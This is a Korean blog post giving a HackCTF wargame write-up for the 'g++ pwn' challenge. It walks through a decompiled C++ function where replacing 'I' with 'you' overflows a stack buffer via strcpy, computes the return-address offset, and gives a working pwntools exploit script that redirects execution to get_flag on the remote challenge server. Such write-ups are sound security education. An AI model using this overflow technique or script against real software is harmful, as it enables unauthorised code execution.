본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) g++ pwn 풀이

by snwo 2020. 4. 29.

void vuln(void)

{
  char *__src;
  char local_40 [32];
  basic_string<char,std--char_traits<char>,std--allocator<char>> local_20 [4];
  basic_string<char,std--char_traits<char>,std--allocator<char>> local_1c [7];
  allocator<char> local_15;
  basic_string<char,std--char_traits<char>,std--allocator<char>> local_14 [7];
  allocator<char> local_d [5];
  
  printf("Tell me something about yourself: ");
  fgets(local_40,0x20,stdin);
  operator=((basic_string<char,std--char_traits<char>,std--allocator<char>> *)&input,local_40);
  allocator();
                    /* try { // try from 08049211 to 08049215 has its CatchHandler @ 08049311 */
  basic_string((char *)local_1c,(allocator *)&DAT_08049823);
  allocator();
                    /* try { // try from 08049236 to 0804923a has its CatchHandler @ 080492f7 */
  basic_string((char *)local_14,(allocator *)&DAT_08049827);
                    /* try { // try from 08049257 to 0804925b has its CatchHandler @ 080492e8 */
  replace(local_20,&input,local_14,local_1c);
                    /* try { // try from 0804926d to 08049271 has its CatchHandler @ 080492d9 */
  operator=((basic_string<char,std--char_traits<char>,std--allocator<char>> *)&input,
            (basic_string *)local_20);
                    /* try { // try from 08049278 to 0804927c has its CatchHandler @ 080492e8 */
  _ZNSsD1Ev(local_20);
                    /* try { // try from 08049283 to 08049287 has its CatchHandler @ 080492f7 */
  _ZNSsD1Ev(local_14);
  ~allocator(local_d);
                    /* try { // try from 08049299 to 0804929d has its CatchHandler @ 08049311 */
  _ZNSsD1Ev(local_1c);
  ~allocator(&local_15);
  __src = (char *)c_str();
  strcpy(local_40,__src);
  printf("So, %s\n",local_40);
  return;
}

c++ 로 만든 파일인것같다.

fgets 로 0x20(32) 만큼 입력을 받아 BOF 는 발생하지않을것같다.

하지만 입력한값에서 local_14 를 local_1c 로 바꾼다.

 

local_14 -> I (대문자 i )

local_1c -> you 

 

I 를 you 로 바꾼뒤, 

입력값에 strcpy 한다.

 

I 를 32 개 입력한다면,

문자열의 길이는 96 이 되어 BOF 가 발생하게된다.


NX 가 ENABLE 되어있으니,

쉘코드를 올려 사용할 수 는 없을거같다.

 

고맙게도, get_flag 함수가 주어져있다.


   0x080492b5 <+262>: mov    DWORD PTR [esp+0x4],eax
   0x080492b9 <+266>: lea    eax,[ebp-0x3c]
   0x080492bc <+269>: mov    DWORD PTR [esp],eax
   0x080492bf <+272>: call   0x8048d10 <strcpy@plt>

 

ebp-0x3c 에 주어져있으므로,

ret 까지 거리는 0x3c+4 = 0x40 (64)

 

60/ 3 (you) = 20 이므로

I 를 20 개 입력하면 길이가 60이 된다.

EBP 까지 덮어야하니 DUMMY 4개를 추가하고

get_flag 주소를 쓰면된다.

 

 payload = I * 20 + DUMMY(4) + get_flag


1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
r=remote('ctf.j0n9hyun.xyz',3011)
#r=process("./gpwn")
b=ELF('./gpwn')
 
pay=""
pay+='I'*20
pay+='B'*4
pay+=p32(b.symbols['get_flag'])
 
r.sendline(pay)
 
print r.recv(1024)
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter

get_flag 함수는 flag 파일을 출력해주는 함수이므로

r.interactive() 대신 print r.recv() 를 써도 된다.


[느낀점]

 

ELF 함수 너무편한것같다.